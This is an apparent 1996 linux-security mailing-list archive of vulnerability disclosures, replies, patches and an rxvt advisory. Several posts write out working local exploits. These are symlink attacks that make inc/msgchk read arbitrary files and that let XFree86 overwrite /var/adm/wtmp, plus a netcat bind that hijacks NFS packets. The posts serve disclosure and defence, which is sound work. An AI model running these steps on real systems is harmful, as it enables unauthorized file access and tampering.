functionality. This may be a fortunate bug, since there may be more serious security holes within the pop functions of these two program. The security hole present in these two programs is that when opening up the configuration files in the user's home directory, root privileges are maintained, and symbolic links are followed. This allows an arbitrary file to to be opened. Fortunately, the program does not simply dump the contents of this file anywhere, and only certain formatting is allowed in the file to be processed by the program in order to see any output. In the cases where it will be processed, only the first line of the file will actually be output to the user. Program: /usr/bin/mh/inc, /usr/bin/mh/msgchk Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/bin/mh/inc /usr/bin/mh/msgchk Security Compromise: read 1st line of some arbitrary files Author: Dave M. ([email protected]) Synopsis: inc & msgchk fail to check file permissions before opening user configuration files in the user's home directory, allowing a user on the system to read the first line of any file on the system with some limitations. Exploit: $ ln -s FILE_TO_READ ~/.mh_profile $ /usr/bin/mh/msgchk /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Fri Jan 26 11:20:14 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA21422; Fri, 26 Jan 1996 11:20:14 -0500 Date: Thu, 25 Jan 1996 21:37:55 +0100 (MET) From: "Anthony C. Zboralski" X-Sender: [email protected] To: Linux Security Subject: SUID binaries Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I use SVGATextMode since version 0.9 (now using 1.1) to allow me to have fast 132x60x8 Linux text consoles. In most source distribution, it is adviced to make it SUID. The problem is that if a user runs it from an xterm on the local display it will crash the computer.. Also in slackware 3.0, users shouldn't be able to use the modem to dial out.. should cu be guid uucp? I checked some of the SUID and here is a list of suspicious SUID binaries Should those file really be SUID by default? (Slackware 3.0): /usr/bin/chfn 4711 root bin (user can change is real name) /usr/bin/fix132x43 6755 root bin (seg fault on my machine) /usr/lib/svgalib/* 6755 root bin /usr/games/doom/linuxsdoom 4711 root bin (crashes) /usr/games/doom/killmouse 4711 root bin /usr/games/doom/startmouse 4711 root bin /usr/games/sastroid 4711 /usr/X11R6/bin/xtetris 2711 root bin /usr/X11R6/bin/color_xterm 4755 root bin /usr/games/abuse-0.31/keydrv /usr/X11R6/bin/SuperProbe 4755 root bin ____ \ /__ Anthony C. Zboralski \/ / \/ Finger for PGP Public Key linux-security/linux-security.960128100664 1767 1767 15330 6102746542 16654 0ustar majdommajdomFrom [email protected] Sun Jan 28 12:21:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA02380; Sun, 28 Jan 1996 12:21:02 -0500 Message-Id: <[email protected]> To: "Anthony C. Zboralski" cc: Linux Security Subject: Re: SUID binaries In-reply-to: Your message of "Thu, 25 Jan 1996 21:37:55 +0100." Reply-To: [email protected] Date: Sun, 28 Jan 1996 13:10:51 +0800 From: Bruce Murphy Sender: [email protected] Precedence: list In message , "Anthony C. Zboralski" wrote: [Mod: Quoting trimmed. --Jeff] > I checked some of the SUID and here is a list of suspicious SUID binaries > Should those file really be SUID by default? (Slackware 3.0): > /usr/bin/chfn 4711 root bin (user can change is real name) > /usr/bin/fix132x43 6755 root bin (seg fault on my machine) > /usr/lib/svgalib/* 6755 root bin > /usr/games/doom/linuxsdoom 4711 root bin (crashes) > /usr/games/doom/killmouse 4711 root bin > /usr/games/doom/startmouse 4711 root bin > /usr/games/sastroid 4711 > /usr/X11R6/bin/xtetris 2711 root bin > /usr/X11R6/bin/color_xterm 4755 root bin > /usr/games/abuse-0.31/keydrv > /usr/X11R6/bin/SuperProbe 4755 root bin You really shouldm't have *any* games suid root. It just isn't worth the risk. There's almost certainly going to be more bugs discovered with the svga stuff. Unsuid /usr/games/* Superprobe *shouldn't* be suid, I believe that xfree requires the probing configure to be run as root to work anyway. chfn need to access the password file. Yes it does need suid to run. Whether you need chfn is another matter entirely. I suggest creating a games group/user to handling highscore tables etc. This will fix the xtetris. Svgalib? Do you *really* need people running vga apps on the console of your computer. If you're at all concerned about security then the console shouldn't be accessable anyway. Cheers, Bruce. -- Packrat (BSc/BE;COSO;Wombat Admin) Nihil illegitemi carborvndvm. From [email protected] Sun Jan 28 12:26:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA02407; Sun, 28 Jan 1996 12:26:11 -0500 Message-Id: <[email protected]> To: [email protected] Subject: Proposal: s[gu]id standards. Reply-To: [email protected] Date: Sun, 28 Jan 1996 17:02:55 +0800 From: Bruce Murphy Sender: [email protected] Precedence: list It strikes me that an available standard on what programs should and should not be suid could be useful. Perhaps having a couple of standard configurations as linux can be found both in a personal machine setting and as a multiuser box would be advisable. The creation of standard groups/users for things like games high score tables and other functions that are currently suid root could be helpful. Perhaps even allow programs that require /proc access to do so a little more securely. Obviously there is no need for this from the perspective security aware users, but from the point of view of newer users, it would be helpful both to have this as a widely available resource as well as getting it incorporated (both in text and practice) into all the major distributions. They, after all, control the linux set-up and file structure that many people use without modifications... Cheers, Bruce Murphy. -- Packrat (BSc/BE;COSO;Wombat Admin) Nihil illegitemi carborvndvm. From [email protected] Sun Jan 28 14:24:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA03428; Sun, 28 Jan 1996 14:24:15 -0500 Date: Sun, 28 Jan 1996 14:21:55 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Cc: [email protected] Subject: Re: Proposal: s[gu]id standards. In-Reply-To: Your message of Sun, January 28, 1996 17:02:55 +0800 References: <[email protected]> X-Quote-I-Like: "A means of control should exist whereby access operators and their organizations are held responsible for what is posted on the Internet." --Helena Kobrin, Church of Scientology lawyer. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "BM" == Bruce Murphy writes: BM> It strikes me that an available standard on what programs should and BM> should not be suid could be useful. Not a bad idea...a good approach might be to list programs that have been thoroughly (within reason) scrutinized for suid "safety." A second list could be a "no no" list that would contain both basic guidelines (e.g. no interactive shells, no non-svgalib games) and specific programs (e.g. dip, for now). The programs that *must* be setuid to function properly (e.g. rlogin, su) should be listed separately from all others, just to prevent confusion. However, IMO this should be more of an advisory list than any attempt at a standard.... BM> The creation of standard groups/users for things like games high score BM> tables and other functions that are currently suid root could be BM> helpful. [...] The FSSTND group has already decided that this issue, in general, would not be addressed by them. >From the FSSTND-FAQ: ----- Q) Why doesn't the standard specify the system-level users/groups and proper ownerships/permissions/setuid bits for everything? A) We feel that this is, primarily, a local issue. Many sites have their own local user-id/group-id setup, and linux boxes will have to be integrated with those. What's more, there is very little gain from standardizing these across all linux machines, as it typically is not essential to allow binary distributions. ----- Now this isn't to say that it won't ever be done--it just says that the FSSTND currently considers this issue to be outside of its territory. For id specifications to be successful they really would have to be incorporated, eventually, into the FSSTND. (I personally think such an effort would be a waste of time, and thus agree with the FSSTND as it stands on this issue.) --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960129100664 1767 1767 44720 6103255355 16660 0ustar majdommajdomFrom [email protected] Mon Jan 29 10:48:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id KAA11858; Mon, 29 Jan 1996 10:48:54 -0500 Message-ID: Date: Mon, 29 Jan 1996 00:16:46 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: XFree86 3.1.2 Security Problems Sender: [email protected] Precedence: list There are security holes in XFree86 3.1.2, which installs its servers as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, it does not take proper precautions to ensure that file permissions are maintained, resulting in the ability to overwrite files, and to read limited portions of other files. The first problem stems from the server opening a temporary file, /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this file a symlink, the server will overwrite the original file, and then write to it its current pid. Other problems exist in the server relating to similar problems, one such example is the ability to specify an arbitrary file for the XF86config file which will then be opened, and the first line that fails to match the expected format will be output with an error, allowing a line to be read from an arbitrary file. Program: XFree86 3.1.2 servers Affected Operating Systems: All systems with XFree86 3.1.2 installed Requirements: account on system Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* Security Compromise: overwrite arbitrary files Author: Dave M. ([email protected]) Synopsis: While running suid root, XFree86 servers do not properly check file permissions, allowing a user to overwrite arbitrary files on a system. Exploit: $ ls -l /var/adm/wtmp -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp $ ln -s /var/adm/wtmp /tmp/.tX0-lock $ startx (At this point exit X if it started, or else ignore any error messages) $ ls -l /var/adm/wtmp -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Mon Jan 29 10:49:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id KAA11872; Mon, 29 Jan 1996 10:49:06 -0500 From: David Dawes Message-Id: <[email protected]> Subject: Re: XFree86 3.1.2 Security Problems To: [email protected] (David J Meltzer) Date: Mon, 29 Jan 1996 16:40:19 +1100 (EST) Cc: [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "David J Meltzer" at Jan 29, 96 00:16:46 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list > There are security holes in XFree86 3.1.2, which installs its servers >as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, >it does not take proper precautions to ensure that file permissions are >maintained, resulting in the ability to overwrite files, and to read >limited portions of other files. > The first problem stems from the server opening a temporary file, >/tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this >file a symlink, the server will overwrite the original file, and then >write to it its current pid. That's true, and this is a real problem. > Other problems exist in the server relating to similar problems, one >such example is the ability to specify an arbitrary file for the XF86config >file which will then be opened, and the first line that fails to match >the expected format will be output with an error, allowing a line to be >read from an arbitrary file. This is not true. The server sets its uid to the real-uid when reading the XF86Config file. For OSs that don't have saved IDs, it forks and the child sets its uid to the real uid before opening the file. It passes the data back to the parent. Also, the server only allows an arbitrary XF86Config file to be specified when started with real-uid 0. David From [email protected] Mon Jan 29 11:16:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA11954; Mon, 29 Jan 1996 11:16:06 -0500 Message-ID: Date: Mon, 29 Jan 1996 00:55:56 -0500 (EST) From: David J Meltzer To: David Dawes Subject: Re: XFree86 3.1.2 Security Problems Cc: [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list Excerpts from mail: 29-Jan-96 Re: XFree86 3.1.2 Security .. by David [email protected] > This is not true. The server sets its uid to the real-uid when reading > the XF86Config file. For OSs that don't have saved IDs, it forks and > the child sets its uid to the real uid before opening the file. It > passes the data back to the parent. Also, the server only allows an > arbitrary XF86Config file to be specified when started with real-uid 0. You are right, my machine is sufficiently mangled that I inadvertantly was running as root when I was testing that part. I apologize for the inaccuracy. (Moderators: feel free (encouraged) to kill the third paragraph of my previous post as it is plain WRONG.) [Mod: This will be corrected prior to the original message being forwarded to linux-alert; I had already approved the message to linux-security when I read this. --Jeff] /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Mon Jan 29 12:08:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA12244; Mon, 29 Jan 1996 12:08:35 -0500 Message-Id: <[email protected]> To: Jeff Uphoff cc: [email protected] Subject: Re: Proposal: s[gu]id standards. In-reply-to: Your message of "Sun, 28 Jan 1996 14:21:55 EST." <[email protected]> Reply-To: [email protected] Date: Mon, 29 Jan 1996 17:56:09 +0800 From: Bruce Murphy Sender: [email protected] Precedence: list [mod: quoting trimmed. --okir] In message <[email protected]>, Jeff Uphoff wrote: > However, IMO this should be more of an advisory list than any attempt at > a standard.... {snip} > The FSSTND group has already decided that this issue, in general, would > not be addressed by them. {snip} > > Now this isn't to say that it won't ever be done--it just says that the > FSSTND currently considers this issue to be outside of its territory. > For id specifications to be successful they really would have to be > incorporated, eventually, into the FSSTND. (I personally think such an > effort would be a waste of time, and thus agree with the FSSTND as it > stands on this issue.) > The impact of such guidelines would only be on linux boxes that are installed "out of the box" from distributions. Sites that have enough on-hand unix experience to have s[ug]id policies wouldn't come into this category. A separate advisory list should be maintained independantly from the FSSTND, as the goal is really to have a 'minimum' level of security for out-of-box (or off cd) distributions, rather than specify standards for linux systems which are installed. Such a list would have two components, being a central repository of the relative "safety" of various compents of the linux environment as far as s[gu]id installations, and to allow a central resource to be shown to distributors of Linux. Perhaps the two functions are mutally incompatible enough that they should be maintained separately. (motivation) I would be interested in participating in any discussion lists that are started on this topic and or people getting together with the goal of putting one more piece of work towards linux being regarded as a stable secure platform from which commercial things can be run without having to write too much C code. Or at least as much as other commerical Unices are considered safe and stable. It's more about perception that fact in the commercial world however. Cheers Bruce. (Unsure whether this should have been posted to the linux-security but have done so anyway, seeing as how you moderate it anyway ;) -- Packrat (BSc/BE;COSO;Wombat Admin) Nihil illegitemi carborvndvm. From [email protected] Mon Jan 29 18:39:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA14977; Mon, 29 Jan 1996 18:39:43 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Shadow /bin/login security hole To: [email protected] Date: Mon, 29 Jan 1996 17:38:41 +0100 (MET) Cc: [email protected], [email protected], [email protected] X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Probably all versions of the Shadow Password Suite, as used on many Linux systems, have a serious security hole in the login program. It is possible to overwrite the stack by entering a long user name at the login prompt. This potentially allows remote users to gain root privileges. No prior access to the vulnerable system is necessary. Enclosed is a small patch to fix this bug. The complete package with this patch already applied is available from the primary site: ftp://ftp.ists.pwr.wroc.pl/pub/linux/shadow/shadow-960129.tar.gz and should soon be available from the mirror sites: ftp://ftp.icm.edu.pl/pub/Linux/shadow/ ftp://iguana.hut.fi/pub/linux/shadow/ ftp://ftp.cin.net/usr/ggallag/shadow/ ftp://ftp.netural.com/pub/linux/shadow/ Please verify the MD5 checksum before installation. 45dd0995bb27ca4fd4dd4c866a15e095 shadow-960129.tar.gz Please upgrade to this release immediately. Be careful, this is still BETA software. I don't know how many bugs like this still remain :-(. How this bug could go unnoticed for so many years is beyond me... Regards, Marek Michalkiewicz [email protected] begin 644 shadow-951218-960129.diff.gz M'XL(`)E.##$"`WU6:V_;-A3];/V*.PQH[,AV+*=)&F<%DJX.YJ$IACK!@#U0 MT!)E[$ID9C.X/$O& MR:N3#].;MW?3X>WLP_S^R];Y*!E?'FQ%@\'@.Y&=^U5#OPI-E-`HF8Q&^*7D M\F(4Q7'\G;2=.Z-]W/B21F>3T]/)2XZ[/(^NKVDPZH\H3OKCEW1]'<7W*V4) MOS@M2UDOI4Y;6C1+RM43U;*0PDHR.;F5W%:D2EB[,75&ME%.1G%N:GJG=/,T M)+HSUE%7Y:2-(U$4/:IJ^:A,8^E1UE89;4,VE*Q$NA9+).@*1US(37:@3H>G MPZ2_^U:N^XHA#<^3UJ42`E,!PV4E:-4X(`%O7F.<@;!_N&ABD-N+T:).*E311KN:%<"M?40$8T<^"82TD-GL$;,H>,C.K+ M4'<*$3J+XMD1AE**3(9^0R.V#[PN3)QU]4]CF0A]Y&@C`!KHD+'U$XUB7V\! M80"`01CCUV"G6X4Z/H07N0LMG]RN@YYG8I93:QH"J\0=/-?><^GUF77%*%)3 MEE)G$B@P[::"7`##F7!\%PY"K`E_=VH)92DS#&C-K:[P\OB!%G2KM0Q)K%-% MP<)B*4T&728YM!N@2VV:Y8J<*CV=]/-.MB7+2SY5T!EN)YK>FU_8$+NH*HUW>&RB6*MY$:EGZ*XY,7R6B47 M!;O%8JBLL\-J4P\WM4F'51%EW[#3G68/+6^[^A43W>YTYM#!6YE2Q;Y\O)V<7D-/G/.L]&_5<4XQT)89Y$Q^$Z=7N4*5L5HK7! M*!U&(."0^[<_S)NW3>6@)A\^F\\?IA]O9^^F'Z?O;]ZP&*UT@6E_FT^D2T^4 MM8WDO6T5R)2#%S+G880+Z4M$,1WSBWX7M<:$)]M+7O*EPZBV&H.1E2QNZSC^ M83[]\/[F;OIQ/OMCZJ,QMEJDCKVOBSM?-!FKA>M@#7(4CK_KAOT=^#C8ER;_ M-/$:A-%E7`+/B@8Z?/-PB^R'B=V1I62$YQ`H+UL?;UOK9-DC^2C9O\.%6+%) MU:+E4@7?'BB!O_YJ^=L,B[$4FG!LPYC'2411_&,F(8&3N=*W0\"&$*4:,K13_M1C7`/QTO7D!T ML*!J15TDZ%UQ^3]5'/^-T\ Subject: Re: Shadow /bin/login security hole To: [email protected] (Marek Michalkiewicz) Date: Mon, 29 Jan 1996 13:09:14 -0600 (CST) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Marek Michalkiewicz" at Jan 29, 96 05:38:41 pm X-Mailer: ELM [version 2.4 PL22] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Probably all versions of the Shadow Password Suite, as used on many > Linux systems, have a serious security hole in the login program. It > is possible to overwrite the stack by entering a long user name at > the login prompt. This potentially allows remote users to gain root > privileges. No prior access to the vulnerable system is necessary. I'd honestly like to know if anyone has heard a report of this occuring, in part because isgraph() call in the conditional part of the for() loop. I realize you can certainly trash the stack (maybe that explains some mystery core dumps ...), but I'm wondering how many op-codes or return address locations you can jump to if you can't enter non-printable characters at the prompt ... Feel free to send your response to me directly either here or at home, [email protected]. -- JF Haugh | GCS s++: C++++$ UBLAVOC*++++(on)$ Open Interface Development | P+@ L++>$ E--- W>$ N>$ K+++ w+ O$@ PSP Division, IBM/Austin, Texas | V-- PS+++ PE++ PGP@ tv@ b++@ d a o Bldg 903/2D017, 512-823-8817 (Tie 793) | DI++++ G e++ h----$ r+++ z++++ t+ From [email protected] Mon Jan 29 18:40:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA15006; Mon, 29 Jan 1996 18:40:13 -0500 Date: Mon, 29 Jan 1996 11:35:49 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: Satan II (fwd) Cc: [email protected] Sender: [email protected] Precedence: list [mod: This is basically advertisement. The bottom line is that ISS now supports (i.e. probes for holes in) Linux installations, which might be good to know. That's why I approved it. --okir] Got this by mail; thought you all might be interested. ---------- Forwarded message ---------- Date: Sun, 28 Jan 1996 14:16:56 -0500 (EST) From: Albatross To: [email protected] Subject: Satan II Internet Scanner Software Checks Network Security Atlanta, Jan. 17 -- Internet Security Systems has released version 3.2 of its Internet Scanner software. The company said the program is an "attack simulator" that tests your organization's network for security holes. ISS said Internet Scanner 3.2 has enhanced reporting capabilities and added tests for more than 130 security vulnerabilities, including the recently revealed Microsoft File Sharing bug. "Our added focus on Microsoft security holes stems from our customers' rapid adoption of TCP/IP (Transmission Control Protocol/Internet Protocol)-enabled Microsoft Windows NT and Windows 95," said Chris Klaus, founder and chief executive officer of ISS. According to Don Ulsch, a security consultant affiliated with the National Security Institute in Westborough, Massachusetts, The movement to Windows 95 created a whole new set of security concerns for network administrators. "Similar to virus scanning software, a security scanning tools' value to a corporation declines quickly unless it can detect the latest security holes. In the security arena, every upgrade is crucial," said Ulsch. New features of Internet Scanner 3.2 include added reporting capabilities including hyperlinks that connect to CERT advisories and vendor World Wide Web sites to pull down patches and information regarding network holes, and addition of Linux as a supported platform. The company said that will allow easy scanning from laptop PCs. The additional tests added to the new version include the Microsoft File Sharing bug, the TelnetD bug, the Stealth Scan, Finger Bomb, and misconfigured Linux NIS services. The company said its customers who have current maintenance contracts can now electronically download the updated version from the USS Web home page at http://iss.net. Internet Security Systems, tel 770-441-2531, fax 770-441-2431 ---------------------------------------------------------------------- Joe Yao [email protected] - Joseph S. D. Yao linux-security/linux-security.960131100664 1767 1767 15064 6103753365 16654 0ustar majdommajdomFrom [email protected] Wed Jan 31 15:53:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA25391; Wed, 31 Jan 1996 15:53:14 -0500 Date: Tue, 30 Jan 1996 15:18:21 -0800 (PST) From: "Aleph's K-Rad GECOS Field" To: [email protected] cc: [email protected], [email protected], [email protected] Subject: bind() Security Problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list System Call: bind() Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix Probably others. Requirement: account on system. Security Compromise: Stealing packets from nfsd, yppasswd, ircd, etc. Credits: *Hobbit* bitblt Aleph One Synopsis: bind() does not properly check to make sure there is not a socket already bound to INADDR_ANY on the same port when binding to a specific address. On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound width INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection. Exploit: Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz Make sure an nfs server is running: w00p% netstat -a | grep 2049 udp 0 0 *.2049 *.* LISTEN Run netcat: w00p% nc -v -v -u -s 192.88.209.5 -p 2049 listening on [192.88.209.5] 2049 ... Wait for packets to arrive. Fix: Linux: A patch was been sent to Linus and Alan Cox. It should be included with 1.3.60. My original patch (included bellow) allows for binds from the same uid, as some virtual hosting software like modified httpds, and ftpds, may break otherwise. Alan didnt like this, so all bind to the same port will not be allowed in newer kernels. You should be able to easily adapt this patch or Alan's patch to 1.2.13 without much trouble. Others: Pray to your vendors. --- begin patch --- diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c --- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995 +++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996 @@ -46,6 +46,8 @@ * Germano Caronni : Assorted small races. * Alan Cox : sendmsg/recvmsg basic support. * Alan Cox : Only sendmsg/recvmsg now supported. + * Aleph One : Rogue processes could steal packets + * from processes bound to INADDR_ANY. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License @@ -899,6 +901,12 @@ if (sk2->num != snum) continue; /* more than one */ + if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) && + current->euid != sk2->socket->inode->i_uid) + { + sti(); + return(-EADDRINUSE); + } if (sk2->rcv_saddr != sk->rcv_saddr) continue; /* socket per slot ! -FB */ if (!sk2->reuse || sk2->state==TCP_LISTEN) Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From [email protected] Wed Jan 31 15:53:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA25405; Wed, 31 Jan 1996 15:53:36 -0500 Date: Tue, 30 Jan 1996 18:53:07 -0500 From: *Hobbit* Message-Id: <[email protected]> To: [email protected], [email protected], [email protected] Subject: Aiiiieeee!! Sender: [email protected] Precedence: list The wire into the cloud is now *smoking*, of course, possibly because A1 didn't mention mirror sites for netcat: zippy.telcom.arizona.edu:/pub/mirrors/avian.org/hacks/nc100.tgz ftp.sterling.com:/mirrors/avian.org/src/hacks/nc100.tgz coast.cs.purdue.edu:/pub/tools/unix/netcat/nc100.tgz and possibly gw.rge.com:/pub/security/coast/tools/unix/netcat/nc100.tgz At least I *think* that's the current picture, not having actually rechecked them lately. YMMV but you'll definitely get your copy faster if you hit one of these. A new version of netcat is in the works; mostly unchanged from 1.00 except for some tiny bugfixes. It'll include a better bunch of companion programs. _H* From [email protected] Wed Jan 31 15:54:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA25418; Wed, 31 Jan 1996 15:54:08 -0500 Date: Tue, 30 Jan 1996 06:43:42 -0800 From: Patrick Powell Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: BoS: Re: XFree86 3.1.2 Security Problems Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] Sender: [email protected] Precedence: list Folks, I went through exactly the same thing when I developed the LPRng print spooler package. The solution that I used for the problem was as follows: 1. In the startup code, use seteuid()/setreud() to set EUID to something banal such as daemon, and RUID to root. (you might want to save the original RUID for permissions checking). 2. Do all operations EXCEPT socket() and bind() calls as EUID daemon. It turns out that on some ^&*(*&*( systems when you want to bind to a reserved port, you must open the socket EUID ROOT and to the bind EUID root. 3. Before you do an exec, do a seteuid/setuid to the original user and/or daemon UID (your application milage may vary on this). Now this sounds brutal, and it is. But look at is this way: you do things as ROOT only for those things that absolutely require it, and never pass on the EUID root capability to children. This should be relatively painless to do. Patrick ("I have a choice of having some of my fingernails pulled off with red hot pincers, or rewriting my code? Umm... how many fingernails? Do I get to choose the hand?") Powell Dept. Electrical and Computer Engineering, San Diego State University, San Diego, CA 92182-1309 Office (619) 594-7796; Lab (619) 594-7578 FAX (619) 594-7577 email: [email protected] linux-security/linux-security.960201100664 1767 1767 20227 6104107707 16641 0ustar majdommajdomFrom [email protected] Thu Feb 1 04:52:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA29689; Thu, 1 Feb 1996 04:52:34 -0500 Date: Tue, 30 Jan 1996 01:50:06 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List cc: big-linux-mailing-list , [email protected] Subject: LSF Update#11: Vulnerability of rxvt Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rxvt vulnerability Wed Jan 24 13:25:44 EST 1996 Copyright (C) 1995, 1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT The rxvt program used to emulate VT100 terminal in the X11 environment can be exploited to gain unauthorized root access. This Linux Security FAQ Update provides information that can be used to deal with this problem. RISK ASSESSMENT The information released to full-disclosure mailing lists allows any local user to obtain an unauthorized root access if rxvt is installed as a suid-to-root program. SOLUTION TO THE PROBLEM Immediately remove a suid bit from the rxvt binary using command: chmod 111 /usr/X11R6/bin/rxvt This assumes that you have rxvt installed as /usr/X11R6/bin/rxvt. If that is not the case, locate the binary and substitute /usr/X11R6/bin/rxvt with its name. You can use one of the following commands to locate rxvt: locate rxvt | grep -v rxvt.1x or find / -type f -name rxvt -print DISTRIBUTION FIXES After you install the distribution-specific fixed version of rxvt, you should make the rxvt binary suid-to-root. Red Hat Linux 2.1 & 2.0, Caldera Network Desktop The Red Hat Commercial Linux 2.0 and 2.1 distributions and Caldera Network Desktop are vulnerable to an attack against rxvt. Marc Ewing ([email protected]) provided the RPM package that fixes the security problem with rxvt. The package can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/rxvt-2.10-3.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.1/rxvt-2.10-3.i386.rpm ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat2.0/rxvt-2.10-3.i386.rpm Please verify the MD5 hash of the file prior to installing the package: b50028ae040c7778d3a0fe98316f5615 rxvt-2.10-3.i386.rpm Debian/GNU Linux The Debian/GNU Linux distribution includes a vulnerable version of rxvt. Ian Murdock ([email protected]) provided information about the official replacement package for the Debian/GNU Linux that fixes this rxvt problem. The fixed package can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/rxvt-2.10-2.deb ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb Please verify the MD5 hash of the file prior to installing the package. f6a704ede216a3e67e8517a5d179a6f2 rxvt-2.10-2.deb Slackware 3.0 Slackware 3.0 is vulnerable to an attack against rxvt. There is no Slackware-specific fixed version of rxvt package available at this time. Until such fixed version of rxvt becomes available, users of Slackware 3.0 are advised to follow the procedure in the "Other Linux Distributions" section of this Update. Yggdrasil Plug & Play Fall'95 Yggdrasil Plug and Play Fall'95 Linux distribution does not include rxvt and therefore is not vulnerable as long as you did not install your own version of rxvt. Other Linux Distributions If your Linux distribution is not listed above or there is no fixed version of rxvt available for your distribution or you installed rxvt yourself, it is recommended that you obtain the source code of rxvt used as a base for Debian/GNU Linux package. The source code can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/rxvt-2.10-2.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/rxvt-2.10-2.tar.gz 